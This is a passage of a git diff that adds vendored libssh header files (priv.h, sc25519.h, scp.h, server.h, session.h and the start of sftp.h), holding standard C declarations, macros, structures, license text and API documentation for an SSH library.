_11,_12,_13,_14,_15,_16,_17,_18,_19,_20, \ + _21,_22,_23,_24,_25,_26,_27,_28,_29,_30, \ + _31,_32,_33,_34,_35,_36,_37,_38,_39,_40, \ + _41,_42,_43,_44,_45,_46,_47,_48,_49,_50, \ + _51,_52,_53,_54,_55,_56,_57,_58,_59,_60, \ + _61,_62,_63,N,...) N +#define __RSEQ_N() \ + 63, 62, 61, 60, \ + 59, 58, 57, 56, 55, 54, 53, 52, 51, 50, \ + 49, 48, 47, 46, 45, 44, 43, 42, 41, 40, \ + 39, 38, 37, 36, 35, 34, 33, 32, 31, 30, \ + 29, 28, 27, 26, 25, 24, 23, 22, 21, 20, \ + 19, 18, 17, 16, 15, 14, 13, 12, 11, 10, \ + 9, 8, 7, 6, 5, 4, 3, 2, 1, 0 + +#define CLOSE_SOCKET(s) do { if ((s) != SSH_INVALID_SOCKET) { _XCLOSESOCKET(s); (s) = SSH_INVALID_SOCKET;} } while(0) + +#ifndef HAVE_HTONLL +# ifdef WORDS_BIGENDIAN +# define htonll(x) (x) +# else +# define htonll(x) \ + (((uint64_t)htonl((x) & 0xFFFFFFFF) << 32) | htonl((x) >> 32)) +# endif +#endif + +#ifndef HAVE_NTOHLL +# ifdef WORDS_BIGENDIAN +# define ntohll(x) (x) +# else +# define ntohll(x) \ + (((uint64_t)ntohl((x) & 0xFFFFFFFF) << 32) | ntohl((x) >> 32)) +# endif +#endif + +#ifndef FALL_THROUGH +# ifdef HAVE_FALLTHROUGH_ATTRIBUTE +# define FALL_THROUGH __attribute__ ((fallthrough)) +# else /* HAVE_FALLTHROUGH_ATTRIBUTE */ +# define FALL_THROUGH +# endif /* HAVE_FALLTHROUGH_ATTRIBUTE */ +#endif /* FALL_THROUGH */ + +#ifndef __attr_unused__ +# ifdef HAVE_UNUSED_ATTRIBUTE +# define __attr_unused__ __attribute__((unused)) +# else /* HAVE_UNUSED_ATTRIBUTE */ +# define __attr_unused__ +# endif /* HAVE_UNUSED_ATTRIBUTE */ +#endif /* __attr_unused__ */ + +#ifndef UNUSED_PARAM +#define UNUSED_PARAM(param) param __attr_unused__ +#endif /* UNUSED_PARAM */ + +#ifndef UNUSED_VAR +#define UNUSED_VAR(var) __attr_unused__ var +#endif /* UNUSED_VAR */ + +void ssh_agent_state_free(void *data); + +bool is_ssh_initialized(void); + +#define SSH_ERRNO_MSG_MAX 1024 +char *ssh_strerror(int err_num, char *buf, size_t buflen); + +#ifdef __cplusplus +} +#endif + +#endif /* _LIBSSH_PRIV_H */ diff --git a/vendor/libssh/include/libssh/sc25519.h b/vendor/libssh/include/libssh/sc25519.h new file mode 100644 index 0000000..43b09a0 --- /dev/null +++ b/vendor/libssh/include/libssh/sc25519.h @@ -0,0 +1,82 @@ +/* $OpenBSD: sc25519.h,v 1.3 2013/12/09 11:03:45 markus Exp $ */ + +/* + * Public Domain, Authors: Daniel J. Bernstein, Niels Duif, Tanja Lange, + * Peter Schwabe, Bo-Yin Yang. + * Copied from supercop-20130419/crypto_sign/ed25519/ref/sc25519.h + */ + +#ifndef SC25519_H +#define SC25519_H + +#define sc25519 crypto_sign_ed25519_ref_sc25519 +#define shortsc25519 crypto_sign_ed25519_ref_shortsc25519 +#define sc25519_from32bytes crypto_sign_ed25519_ref_sc25519_from32bytes +#define shortsc25519_from16bytes crypto_sign_ed25519_ref_shortsc25519_from16bytes +#define sc25519_from64bytes crypto_sign_ed25519_ref_sc25519_from64bytes +#define sc25519_from_shortsc crypto_sign_ed25519_ref_sc25519_from_shortsc +#define sc25519_to32bytes crypto_sign_ed25519_ref_sc25519_to32bytes +#define sc25519_iszero_vartime crypto_sign_ed25519_ref_sc25519_iszero_vartime +#define sc25519_isshort_vartime crypto_sign_ed25519_ref_sc25519_isshort_vartime +#define sc25519_lt_vartime crypto_sign_ed25519_ref_sc25519_lt_vartime +#define sc25519_add crypto_sign_ed25519_ref_sc25519_add +#define sc25519_sub_nored crypto_sign_ed25519_ref_sc25519_sub_nored +#define sc25519_mul crypto_sign_ed25519_ref_sc25519_mul +#define sc25519_mul_shortsc crypto_sign_ed25519_ref_sc25519_mul_shortsc +#define sc25519_window3 crypto_sign_ed25519_ref_sc25519_window3 +#define sc25519_window5 crypto_sign_ed25519_ref_sc25519_window5 +#define sc25519_2interleave2 crypto_sign_ed25519_ref_sc25519_2interleave2 + +typedef struct { + uint32_t v[32]; +} sc25519; + +typedef struct { + uint32_t v[16]; +} shortsc25519; + +#ifdef __cplusplus +extern "C" { +#endif + +void sc25519_from32bytes(sc25519 *r, const unsigned char x[32]); + +void shortsc25519_from16bytes(shortsc25519 *r, const unsigned char x[16]); + +void sc25519_from64bytes(sc25519 *r, const unsigned char x[64]); + +void sc25519_from_shortsc(sc25519 *r, const shortsc25519 *x); + +void sc25519_to32bytes(unsigned char r[32], const sc25519 *x); + +int sc25519_iszero_vartime(const sc25519 *x); + +int sc25519_isshort_vartime(const sc25519 *x); + +int sc25519_lt_vartime(const sc25519 *x, const sc25519 *y); + +void sc25519_add(sc25519 *r, const sc25519 *x, const sc25519 *y); + +void sc25519_sub_nored(sc25519 *r, const sc25519 *x, const sc25519 *y); + +void sc25519_mul(sc25519 *r, const sc25519 *x, const sc25519 *y); + +void sc25519_mul_shortsc(sc25519 *r, const sc25519 *x, const shortsc25519 *y); + +/* Convert s into a representation of the form \sum_{i=0}^{84}r[i]2^3 + * with r[i] in {-4,...,3} + */ +void sc25519_window3(signed char r[85], const sc25519 *s); + +/* Convert s into a representation of the form \sum_{i=0}^{50}r[i]2^5 + * with r[i] in {-16,...,15} + */ +void sc25519_window5(signed char r[51], const sc25519 *s); + +void sc25519_2interleave2(unsigned char r[127], const sc25519 *s1, const sc25519 *s2); + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/vendor/libssh/include/libssh/scp.h b/vendor/libssh/include/libssh/scp.h new file mode 100644 index 0000000..089fcfc --- /dev/null +++ b/vendor/libssh/include/libssh/scp.h @@ -0,0 +1,63 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2003-2009 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef _SCP_H +#define _SCP_H + +enum ssh_scp_states { + SSH_SCP_NEW, //Data structure just created + SSH_SCP_WRITE_INITED, //Gave our intention to write + SSH_SCP_WRITE_WRITING,//File was opened and currently writing + SSH_SCP_READ_INITED, //Gave our intention to read + SSH_SCP_READ_REQUESTED, //We got a read request + SSH_SCP_READ_READING, //File is opened and reading + SSH_SCP_ERROR, //Something bad happened + SSH_SCP_TERMINATED //Transfer finished +}; + +struct ssh_scp_struct { + ssh_session session; + int mode; + int recursive; + ssh_channel channel; + char *location; + enum ssh_scp_states state; + uint64_t filelen; + uint64_t processed; + enum ssh_scp_request_types request_type; + char *request_name; + char *warning; + int request_mode; +}; + +#ifdef __cplusplus +extern "C" { +#endif + +int ssh_scp_read_string(ssh_scp scp, char *buffer, size_t len); +int ssh_scp_integer_mode(const char *mode); +char *ssh_scp_string_mode(int mode); +int ssh_scp_response(ssh_scp scp, char **response); + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/vendor/libssh/include/libssh/server.h b/vendor/libssh/include/libssh/server.h new file mode 100644 index 0000000..80f74e1 --- /dev/null +++ b/vendor/libssh/include/libssh/server.h @@ -0,0 +1,409 @@ +/* Public include file for server support */ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2003-2008 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +/** + * @defgroup libssh_server The libssh server API + * + * @{ + */ + +#ifndef SERVER_H +#define SERVER_H + +#include "libssh/libssh.h" +#define SERVERBANNER CLIENTBANNER + +#ifdef __cplusplus +extern "C" { +#endif + +enum ssh_bind_options_e { + SSH_BIND_OPTIONS_BINDADDR, + SSH_BIND_OPTIONS_BINDPORT, + SSH_BIND_OPTIONS_BINDPORT_STR, + SSH_BIND_OPTIONS_HOSTKEY, + SSH_BIND_OPTIONS_DSAKEY, + SSH_BIND_OPTIONS_RSAKEY, + SSH_BIND_OPTIONS_BANNER, + SSH_BIND_OPTIONS_LOG_VERBOSITY, + SSH_BIND_OPTIONS_LOG_VERBOSITY_STR, + SSH_BIND_OPTIONS_ECDSAKEY, + SSH_BIND_OPTIONS_IMPORT_KEY, + SSH_BIND_OPTIONS_KEY_EXCHANGE, + SSH_BIND_OPTIONS_CIPHERS_C_S, + SSH_BIND_OPTIONS_CIPHERS_S_C, + SSH_BIND_OPTIONS_HMAC_C_S, + SSH_BIND_OPTIONS_HMAC_S_C, + SSH_BIND_OPTIONS_CONFIG_DIR, + SSH_BIND_OPTIONS_PUBKEY_ACCEPTED_KEY_TYPES, + SSH_BIND_OPTIONS_HOSTKEY_ALGORITHMS, + SSH_BIND_OPTIONS_PROCESS_CONFIG, + SSH_BIND_OPTIONS_MODULI, + SSH_BIND_OPTIONS_RSA_MIN_SIZE, +}; + +typedef struct ssh_bind_struct* ssh_bind; + +/* Callback functions */ + +/** + * @brief Incoming connection callback. This callback is called when a ssh_bind + * has a new incoming connection. + * @param sshbind Current sshbind session handler + * @param userdata Userdata to be passed to the callback function. + */ +typedef void (*ssh_bind_incoming_connection_callback) (ssh_bind sshbind, + void *userdata); + +/** + * @brief These are the callbacks exported by the ssh_bind structure. + * + * They are called by the server module when events appear on the network. + */ +struct ssh_bind_callbacks_struct { + /** DON'T SET THIS use ssh_callbacks_init() instead. */ + size_t size; + /** A new connection is available. */ + ssh_bind_incoming_connection_callback incoming_connection; +}; +typedef struct ssh_bind_callbacks_struct *ssh_bind_callbacks; + +/** + * @brief Creates a new SSH server bind. + * + * @return A newly allocated ssh_bind session pointer. + */ +LIBSSH_API ssh_bind ssh_bind_new(void); + +LIBSSH_API int ssh_bind_options_set(ssh_bind sshbind, + enum ssh_bind_options_e type, const void *value); + +LIBSSH_API int ssh_bind_options_parse_config(ssh_bind sshbind, + const char *filename); + +/** + * @brief Start listening to the socket. + * + * @param ssh_bind_o The ssh server bind to use. + * + * @return 0 on success, < 0 on error. + */ +LIBSSH_API int ssh_bind_listen(ssh_bind ssh_bind_o); + +/** + * @brief Set the callback for this bind. + * + * @param[in] sshbind The bind to set the callback on. + * + * @param[in] callbacks An already set up ssh_bind_callbacks instance. + * + * @param[in] userdata A pointer to private data to pass to the callbacks. + * + * @return SSH_OK on success, SSH_ERROR if an error occurred. + * + * @code + * struct ssh_callbacks_struct cb = { + * .userdata = data, + * .auth_function = my_auth_function + * }; + * ssh_callbacks_init(&cb); + * ssh_bind_set_callbacks(session, &cb); + * @endcode + */ +LIBSSH_API int ssh_bind_set_callbacks(ssh_bind sshbind, ssh_bind_callbacks callbacks, + void *userdata); + +/** + * @brief Set the session to blocking/nonblocking mode. + * + * @param ssh_bind_o The ssh server bind to use. + * + * @param blocking Zero for nonblocking mode. + */ +LIBSSH_API void ssh_bind_set_blocking(ssh_bind ssh_bind_o, int blocking); + +/** + * @brief Recover the file descriptor from the session. + * + * @param ssh_bind_o The ssh server bind to get the fd from. + * + * @return The file descriptor. + */ +LIBSSH_API socket_t ssh_bind_get_fd(ssh_bind ssh_bind_o); + +/** + * @brief Set the file descriptor for a session. + * + * @param ssh_bind_o The ssh server bind to set the fd. + * + * @param fd The file descriptssh_bind B + */ +LIBSSH_API void ssh_bind_set_fd(ssh_bind ssh_bind_o, socket_t fd); + +/** + * @brief Allow the file descriptor to accept new sessions. + * + * @param ssh_bind_o The ssh server bind to use. + */ +LIBSSH_API void ssh_bind_fd_toaccept(ssh_bind ssh_bind_o); + +/** + * @brief Accept an incoming ssh connection and initialize the session. + * + * @param ssh_bind_o The ssh server bind to accept a connection. + * @param session A preallocated ssh session + * @see ssh_new + * @return SSH_OK when a connection is established + */ +LIBSSH_API int ssh_bind_accept(ssh_bind ssh_bind_o, ssh_session session); + +/** + * @brief Accept an incoming ssh connection on the given file descriptor + * and initialize the session. + * + * @param ssh_bind_o The ssh server bind to accept a connection. + * @param session A preallocated ssh session + * @param fd A file descriptor of an already established TCP + * inbound connection + * @see ssh_new + * @see ssh_bind_accept + * @return SSH_OK when a connection is established + */ +LIBSSH_API int ssh_bind_accept_fd(ssh_bind ssh_bind_o, ssh_session session, + socket_t fd); + +LIBSSH_API ssh_gssapi_creds ssh_gssapi_get_creds(ssh_session session); + +/** + * @brief Handles the key exchange and set up encryption + * + * @param session A connected ssh session + * @see ssh_bind_accept + * @return SSH_OK if the key exchange was successful + */ +LIBSSH_API int ssh_handle_key_exchange(ssh_session session); + +/** + * @brief Initialize the set of key exchange, hostkey, ciphers, MACs, and + * compression algorithms for the given ssh_session. + * + * The selection of algorithms and keys used are determined by the + * options that are currently set in the given ssh_session structure. + * May only be called before the initial key exchange has begun. + * + * @param session The session structure to initialize. + * + * @see ssh_handle_key_exchange + * @see ssh_options_set + * + * @return SSH_OK if initialization succeeds. + */ + +LIBSSH_API int ssh_server_init_kex(ssh_session session); + +/** + * @brief Free a ssh servers bind. + * + * @param ssh_bind_o The ssh server bind to free. + */ +LIBSSH_API void ssh_bind_free(ssh_bind ssh_bind_o); + +/** + * @brief Set the acceptable authentication methods to be sent to the client. + * + * + * @param[in] session The server session + * + * @param[in] auth_methods The authentication methods we will support, which + * can be bitwise-or'd. + * + * Supported methods are: + * + * SSH_AUTH_METHOD_PASSWORD + * SSH_AUTH_METHOD_PUBLICKEY + * SSH_AUTH_METHOD_HOSTBASED + * SSH_AUTH_METHOD_INTERACTIVE + * SSH_AUTH_METHOD_GSSAPI_MIC + */ +LIBSSH_API void ssh_set_auth_methods(ssh_session session, int auth_methods); + +/** + * @brief Send the server's issue-banner to client. + * + * + * @param[in] session The server session. + * + * @param[in] banner The server's banner. + * + * @return SSH_OK on success, SSH_ERROR on error. + */ +LIBSSH_API int ssh_send_issue_banner(ssh_session session, const ssh_string banner); + +/********************************************************** + * SERVER MESSAGING + **********************************************************/ + +/** + * @brief Reply with a standard reject message. + * + * Use this function if you don't know what to respond or if you want to reject + * a request. + * + * @param[in] msg The message to use for the reply. + * + * @return 0 on success, -1 on error. + * + * @see ssh_message_get() + */ +LIBSSH_API int ssh_message_reply_default(ssh_message msg); + +/** + * @brief Get the name of the authenticated user. + * + * @param[in] msg The message to get the username from. + * + * @return The username or NULL if an error occurred. + * + * @see ssh_message_get() + * @see ssh_message_type() + */ +LIBSSH_API const char *ssh_message_auth_user(ssh_message msg); + +/** + * @brief Get the password of the authenticated user. + * + * @param[in] msg The message to get the password from. + * + * @return The username or NULL if an error occurred. + * + * @see ssh_message_get() + * @see ssh_message_type() + * @deprecated This function should not be used anymore as there is a + * callback based server implementation now auth_password_function. + */ +SSH_DEPRECATED LIBSSH_API const char *ssh_message_auth_password(ssh_message msg); + +/** + * @brief Get the publickey of the authenticated user. + * + * If you need the key for later user you should duplicate it. + * + * @param[in] msg The message to get the public key from. + * + * @return The public key or NULL. + * + * @see ssh_key_dup() + * @see ssh_key_cmp() + * @see ssh_message_get() + * @see ssh_message_type() + * @deprecated This function should not be used anymore as there is a + * callback based server implementation auth_pubkey_function. + */ +SSH_DEPRECATED LIBSSH_API ssh_key ssh_message_auth_pubkey(ssh_message msg); + +LIBSSH_API int ssh_message_auth_kbdint_is_response(ssh_message msg); + +/** + * @param[in] msg The message to get the public key state from. + * + * @deprecated This function should not be used anymore as there is a + * callback based server implementation auth_pubkey_function + */ +SSH_DEPRECATED LIBSSH_API enum ssh_publickey_state_e ssh_message_auth_publickey_state(ssh_message msg); + +LIBSSH_API int ssh_message_auth_reply_success(ssh_message msg,int partial); +LIBSSH_API int ssh_message_auth_reply_pk_ok(ssh_message msg, ssh_string algo, ssh_string pubkey); +LIBSSH_API int ssh_message_auth_reply_pk_ok_simple(ssh_message msg); + +LIBSSH_API int ssh_message_auth_set_methods(ssh_message msg, int methods); + +LIBSSH_API int ssh_message_auth_interactive_request(ssh_message msg, + const char *name, const char *instruction, + unsigned int num_prompts, const char **prompts, char *echo); + +LIBSSH_API int ssh_message_service_reply_success(ssh_message msg); +LIBSSH_API const char *ssh_message_service_service(ssh_message msg); + +LIBSSH_API int ssh_message_global_request_reply_success(ssh_message msg, + uint16_t bound_port); + +LIBSSH_API void ssh_set_message_callback(ssh_session session, + int(*ssh_bind_message_callback)(ssh_session session, ssh_message msg, void *data), + void *data); +LIBSSH_API int ssh_execute_message_callbacks(ssh_session session); + +LIBSSH_API const char *ssh_message_channel_request_open_originator(ssh_message msg); +LIBSSH_API int ssh_message_channel_request_open_originator_port(ssh_message msg); +LIBSSH_API const char *ssh_message_channel_request_open_destination(ssh_message msg); +LIBSSH_API int ssh_message_channel_request_open_destination_port(ssh_message msg); + +LIBSSH_API ssh_channel ssh_message_channel_request_channel(ssh_message msg); + +/* Replaced by callback based server implementation function channel_pty_request_function*/ +SSH_DEPRECATED LIBSSH_API const char *ssh_message_channel_request_pty_term(ssh_message msg); +SSH_DEPRECATED LIBSSH_API int ssh_message_channel_request_pty_width(ssh_message msg); +SSH_DEPRECATED LIBSSH_API int ssh_message_channel_request_pty_height(ssh_message msg); +SSH_DEPRECATED LIBSSH_API int ssh_message_channel_request_pty_pxwidth(ssh_message msg); +SSH_DEPRECATED LIBSSH_API int ssh_message_channel_request_pty_pxheight(ssh_message msg); + +LIBSSH_API const char *ssh_message_channel_request_env_name(ssh_message msg); +LIBSSH_API const char *ssh_message_channel_request_env_value(ssh_message msg); + +LIBSSH_API const char *ssh_message_channel_request_command(ssh_message msg); + +LIBSSH_API const char *ssh_message_channel_request_subsystem(ssh_message msg); + +/* Replaced by callback based server implementation function channel_open_request_x11_function*/ +SSH_DEPRECATED LIBSSH_API int ssh_message_channel_request_x11_single_connection(ssh_message msg); +SSH_DEPRECATED LIBSSH_API const char *ssh_message_channel_request_x11_auth_protocol(ssh_message msg); +SSH_DEPRECATED LIBSSH_API const char *ssh_message_channel_request_x11_auth_cookie(ssh_message msg); +SSH_DEPRECATED LIBSSH_API int ssh_message_channel_request_x11_screen_number(ssh_message msg); + +LIBSSH_API const char *ssh_message_global_request_address(ssh_message msg); +LIBSSH_API int ssh_message_global_request_port(ssh_message msg); + +LIBSSH_API int ssh_channel_open_reverse_forward(ssh_channel channel, const char *remotehost, + int remoteport, const char *sourcehost, int localport); +LIBSSH_API int ssh_channel_open_x11(ssh_channel channel, + const char *orig_addr, int orig_port); + +LIBSSH_API int ssh_channel_request_send_exit_status(ssh_channel channel, + int exit_status); +LIBSSH_API int ssh_channel_request_send_exit_signal(ssh_channel channel, + const char *signum, + int core, + const char *errmsg, + const char *lang); + +LIBSSH_API int ssh_send_keepalive(ssh_session session); + +/* deprecated functions */ +SSH_DEPRECATED LIBSSH_API int ssh_accept(ssh_session session); +SSH_DEPRECATED LIBSSH_API int channel_write_stderr(ssh_channel channel, + const void *data, uint32_t len); + +#ifdef __cplusplus +} +#endif /* __cplusplus */ + +#endif /* SERVER_H */ + +/** @} */ diff --git a/vendor/libssh/include/libssh/session.h b/vendor/libssh/include/libssh/session.h new file mode 100644 index 0000000..9793619 --- /dev/null +++ b/vendor/libssh/include/libssh/session.h @@ -0,0 +1,285 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2009 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +#ifndef SESSION_H_ +#define SESSION_H_ +#include + +#include "libssh/priv.h" +#include "libssh/callbacks.h" +#include "libssh/kex.h" +#include "libssh/packet.h" +#include "libssh/pcap.h" +#include "libssh/auth.h" +#include "libssh/channels.h" +#include "libssh/poll.h" +#include "libssh/config.h" +#include "libssh/misc.h" + +/* These are the different states a SSH session can be into its life */ +enum ssh_session_state_e { + SSH_SESSION_STATE_NONE=0, + SSH_SESSION_STATE_CONNECTING, + SSH_SESSION_STATE_SOCKET_CONNECTED, + SSH_SESSION_STATE_BANNER_RECEIVED, + SSH_SESSION_STATE_INITIAL_KEX, + SSH_SESSION_STATE_KEXINIT_RECEIVED, + SSH_SESSION_STATE_DH, + SSH_SESSION_STATE_AUTHENTICATING, + SSH_SESSION_STATE_AUTHENTICATED, + SSH_SESSION_STATE_ERROR, + SSH_SESSION_STATE_DISCONNECTED +}; + +enum ssh_dh_state_e { + DH_STATE_INIT=0, + DH_STATE_GROUP_SENT, + DH_STATE_REQUEST_SENT, + DH_STATE_INIT_SENT, + DH_STATE_NEWKEYS_SENT, + DH_STATE_FINISHED +}; + +enum ssh_pending_call_e { + SSH_PENDING_CALL_NONE = 0, + SSH_PENDING_CALL_CONNECT, + SSH_PENDING_CALL_AUTH_NONE, + SSH_PENDING_CALL_AUTH_PASSWORD, + SSH_PENDING_CALL_AUTH_OFFER_PUBKEY, + SSH_PENDING_CALL_AUTH_PUBKEY, + SSH_PENDING_CALL_AUTH_AGENT, + SSH_PENDING_CALL_AUTH_KBDINT_INIT, + SSH_PENDING_CALL_AUTH_KBDINT_SEND, + SSH_PENDING_CALL_AUTH_GSSAPI_MIC +}; + +/* libssh calls may block an undefined amount of time */ +#define SSH_SESSION_FLAG_BLOCKING 1 + +/* Client successfully authenticated */ +#define SSH_SESSION_FLAG_AUTHENTICATED 2 + +/* The KEXINIT message can be sent first by either of the parties so this flag + * indicates that the message was already sent to make sure it is sent and avoid + * sending it twice during key exchange to simplify the state machine. */ +#define SSH_SESSION_FLAG_KEXINIT_SENT 4 + +/* The current SSH2 session implements the "strict KEX" feature and should behave + * differently on SSH2_MSG_NEWKEYS. */ +#define SSH_SESSION_FLAG_KEX_STRICT 0x0010 +/* Unexpected packets have been sent while the session was still unencrypted */ +#define SSH_SESSION_FLAG_KEX_TAINTED 0x0020 + +/* codes to use with ssh_handle_packets*() */ +/* Infinite timeout */ +#define SSH_TIMEOUT_INFINITE -1 +/* Use the timeout defined by user if any. Mostly used with new connections */ +#define SSH_TIMEOUT_USER -2 +/* Use the default timeout, depending on ssh_is_blocking() */ +#define SSH_TIMEOUT_DEFAULT -3 +/* Don't block at all */ +#define SSH_TIMEOUT_NONBLOCKING 0 + +/* options flags */ +/* Authentication with *** allowed */ +#define SSH_OPT_FLAG_PASSWORD_AUTH 0x1 +#define SSH_OPT_FLAG_PUBKEY_AUTH 0x2 +#define SSH_OPT_FLAG_KBDINT_AUTH 0x4 +#define SSH_OPT_FLAG_GSSAPI_AUTH 0x8 + +/* Escape expansion of different variables */ +#define SSH_OPT_EXP_FLAG_KNOWNHOSTS 0x1 +#define SSH_OPT_EXP_FLAG_GLOBAL_KNOWNHOSTS 0x2 +#define SSH_OPT_EXP_FLAG_PROXYCOMMAND 0x4 +#define SSH_OPT_EXP_FLAG_IDENTITY 0x8 + +/* extensions flags */ +/* negotiation enabled */ +#define SSH_EXT_NEGOTIATION 0x01 +/* server-sig-algs extension */ +#define SSH_EXT_SIG_RSA_SHA256 0x02 +#define SSH_EXT_SIG_RSA_SHA512 0x04 + +/* members that are common to ssh_session and ssh_bind */ +struct ssh_common_struct { + struct error_struct error; + ssh_callbacks callbacks; /* Callbacks to user functions */ + int log_verbosity; /* verbosity of the log functions */ +}; + +struct ssh_session_struct { + struct ssh_common_struct common; + struct ssh_socket_struct *socket; + char *serverbanner; + char *clientbanner; + int protoversion; + int server; + int client; + int openssh; + uint32_t send_seq; + uint32_t recv_seq; + struct ssh_timestamp last_rekey_time; + + int connected; + /* !=0 when the user got a session handle */ + int alive; + /* two previous are deprecated */ + /* int auth_service_asked; */ + + /* session flags (SSH_SESSION_FLAG_*) */ + int flags; + + /* Extensions negotiated using RFC 8308 */ + uint32_t extensions; + + ssh_string banner; /* that's the issue banner from the server */ + char *peer_discon_msg; /* disconnect message from the remote host */ + char *disconnect_message; /* disconnect message to be set */ + ssh_buffer in_buffer; + PACKET in_packet; + ssh_buffer out_buffer; + struct ssh_list *out_queue; /* This list is used for delaying packets + when rekeying is required */ + + /* the states are used by the nonblocking stuff to remember */ + /* where it was before being interrupted */ + enum ssh_pending_call_e pending_call_state; + enum ssh_session_state_e session_state; + enum ssh_packet_state_e packet_state; + enum ssh_dh_state_e dh_handshake_state; + enum ssh_channel_request_state_e global_req_state; + struct ssh_agent_state_struct *agent_state; + + struct { + struct ssh_auth_auto_state_struct *auto_state; + enum ssh_auth_service_state_e service_state; + enum ssh_auth_state_e state; + uint32_t supported_methods; + uint32_t current_method; + } auth; + + /* Sending this flag before key exchange to save one round trip during the + * key exchange. This might make sense on high-latency connections. + * So far internal only for testing. Usable only on the client side -- + * there is no key exchange method that would start with server message */ + bool send_first_kex_follows; + /* + * RFC 4253, 7.1: if the first_kex_packet_follows flag was set in + * the received SSH_MSG_KEXINIT, but the guess was wrong, this + * field will be set such that the following guessed packet will + * be ignored on the receiving side. Once that packet has been received and + * ignored, this field is cleared. + * On the sending side, this is set after we got peer KEXINIT message and we + * need to resend the initial message of the negotiated KEX algorithm. + */ + bool first_kex_follows_guess_wrong; + + ssh_buffer in_hashbuf; + ssh_buffer out_hashbuf; + struct ssh_crypto_struct *current_crypto; + /* next_crypto is going to be used after a SSH2_MSG_NEWKEYS */ + struct ssh_crypto_struct *next_crypto; + + struct ssh_list *channels; /* linked list of channels */ + uint32_t maxchannel; + ssh_agent agent; /* ssh agent */ + + /* keyboard interactive data */ + struct ssh_kbdint_struct *kbdint; + struct ssh_gssapi_struct *gssapi; + + /* server host keys */ + struct { + ssh_key rsa_key; + ssh_key dsa_key; + ssh_key ecdsa_key; + ssh_key ed25519_key; + /* The type of host key wanted by client */ + enum ssh_keytypes_e hostkey; + enum ssh_digest_e hostkey_digest; + } srv; + + /* auths accepted by server */ + struct ssh_list *ssh_message_list; /* list of delayed SSH messages */ + int (*ssh_message_callback)(struct ssh_session_struct *session, + ssh_message msg, void *userdata); + void *ssh_message_callback_data; + ssh_server_callbacks server_callbacks; + void (*ssh_connection_callback)( struct ssh_session_struct *session); + struct ssh_packet_callbacks_struct default_packet_callbacks; + struct ssh_list *packet_callbacks; + struct ssh_socket_callbacks_struct socket_callbacks; + ssh_poll_ctx default_poll_ctx; + /* options */ +#ifdef WITH_PCAP + ssh_pcap_context pcap_ctx; /* pcap debugging context */ +#endif + struct { + struct ssh_list *identity; + struct ssh_list *identity_non_exp; + char *username; + char *host; + char *bindaddr; /* bind the client to an ip addr */ + char *sshdir; + char *knownhosts; + char *global_knownhosts; + char *wanted_methods[SSH_KEX_METHODS]; + char *pubkey_accepted_types; + char *ProxyCommand; + char *custombanner; + char *moduli_file; + char *agent_socket; + unsigned long timeout; /* seconds */ + unsigned long timeout_usec; + uint16_t port; + socket_t fd; + int StrictHostKeyChecking; + char compressionlevel; + char *gss_server_identity; + char *gss_client_identity; + int gss_delegate_creds; + int flags; + int exp_flags; + int nodelay; + bool config_processed; + uint8_t options_seen[SOC_MAX]; + uint64_t rekey_data; + uint32_t rekey_time; + int rsa_min_size; + } opts; + /* counters */ + ssh_counter socket_counter; + ssh_counter raw_counter; +}; + +/** @internal + * @brief a termination function evaluates the status of an object + * @param user[in] object to evaluate + * @returns 1 if the polling routine should terminate, 0 instead + */ +typedef int (*ssh_termination_function)(void *user); +int ssh_handle_packets(ssh_session session, int timeout); +int ssh_handle_packets_termination(ssh_session session, + int timeout, + ssh_termination_function fct, + void *user); +void ssh_socket_exception_callback(int code, int errno_code, void *user); + +#endif /* SESSION_H_ */ diff --git a/vendor/libssh/include/libssh/sftp.h b/vendor/libssh/include/libssh/sftp.h new file mode 100644 index 0000000..c713466 --- /dev/null +++ b/vendor/libssh/include/libssh/sftp.h @@ -0,0 +1,1051 @@ +/* + * This file is part of the SSH Library + * + * Copyright (c) 2003-2008 by Aris Adamantiadis + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +/** + * @defgroup libssh_sftp The libssh SFTP API + * + * @brief SFTP handling functions + * + * SFTP commands are channeled by the ssh sftp subsystem. Every packet is + * sent/read using a sftp_packet type structure. Related to these packets, + * most of the server answers are messages having an ID and a message + * specific part. 